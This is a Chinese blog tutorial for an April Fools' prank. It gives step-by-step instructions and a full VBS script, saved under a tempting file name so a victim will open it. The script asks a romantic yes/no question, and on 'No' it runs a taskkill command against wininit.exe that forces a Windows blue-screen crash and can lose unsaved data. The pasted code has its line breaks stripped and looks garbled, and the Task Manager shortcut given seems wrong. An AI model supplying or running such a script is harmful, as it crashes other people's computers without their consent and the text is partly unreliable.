admin管理员组

文章数量:1627944

计算机蓝屏简称BSOD,又叫蓝屏死机。蓝屏死机提示已经成为Microsoft Windows操作系统标志性的画面。蓝屏死机主要是Microsoft Windows 系列操作系统为保护电脑数据文件不被破坏而强制显示的屏幕图像。愚人节即将来临,有许多人绞尽脑汁想各种整人办法。虽然电影《整蛊专家》里面有许多奇葩的恶作剧方法,但是电影源于现实又高于显示,里面有些方法学不来。近期使用计算机学习的小伙伴比较多,今天就用代码制作一个计算机蓝屏。

第一步:右键单击桌面空白位置,新建一个文本文档,并将“新建文本文档.txt”重命名为“打开试试.vbs”。VBS是基于Visual Basic的脚本语言,我们使用vbs代码实现恶作剧,所以需要将文件后缀名改为“*.vbs”。文件名可以改的吸引人一些,好奇心害死猫。

点击播放 GIF 0.0M

第二步:右键单击“打开试试.vbs”,选中右键菜单中的编辑,打开记事本编辑窗口。将以下代码复制粘贴到记事本中,同时按下键盘上的Ctrl + S键保存编辑。

如果想修改提示语句的话,将引号中的中文修改成自己想要的内容即可。

点击播放 GIF 0.0M

代码区域:

If MsgBox("你愿意做我的女朋友吗?",vbYesNo,"提示")=vbyes thenMsgbox "你竟然同意了,好开心!"Wscript.echo Printer(" ","*","113111111112212111313111513",7)Function Printer(a1,a2,b,c)For i = 1 to len(b)b1 = Mid(b,i,1)For j = 1 to b1s = s & " " & a1n = n + 1if n = c thens= s & chr(10)n = 0End ifNexta3 = a1a1 = a2a2 = a3NextPrinter=sEnd functionSet ws = CreateObject("Sapi.Spvoice")k = "我爱你"ws.speak kElseMsgbox "被拒绝了,真的好伤心!"Msgbox "由于程序太过伤心,系统即将崩溃!!!",64,"系统提示:"Set ws = Createobject("wscript.shell")ws.run "cmd /c start /min taskkill /f /im wininit.exe",0,falseEnd if

点击播放 GIF 0.0M

VBS程序介绍:程序起始给对方一个选择题,如果对方选择“是”,那么就相安无事,并有文字组合图片和语音表白“我爱你”提示。如果对方选择“否”,将会有提示语句,接着计算机进入蓝屏。

解决蓝屏的办法只能重启计算机。请勿乱用这个vbs代码,以免给他人造成损失。

点击播放 GIF 0.0M

一旦程序运行该怎么终止呢?千万不要尝试关闭窗口来结束程序。

同时按下键盘上的Shift + Ctrl + Delete,启动任务管理器。在任务管理器的进程中找到并选中“wscript.exe”,点击结束进程就没事了。

点击播放 GIF 0.0M

本文标签: 蓝屏教你神器愚人节代码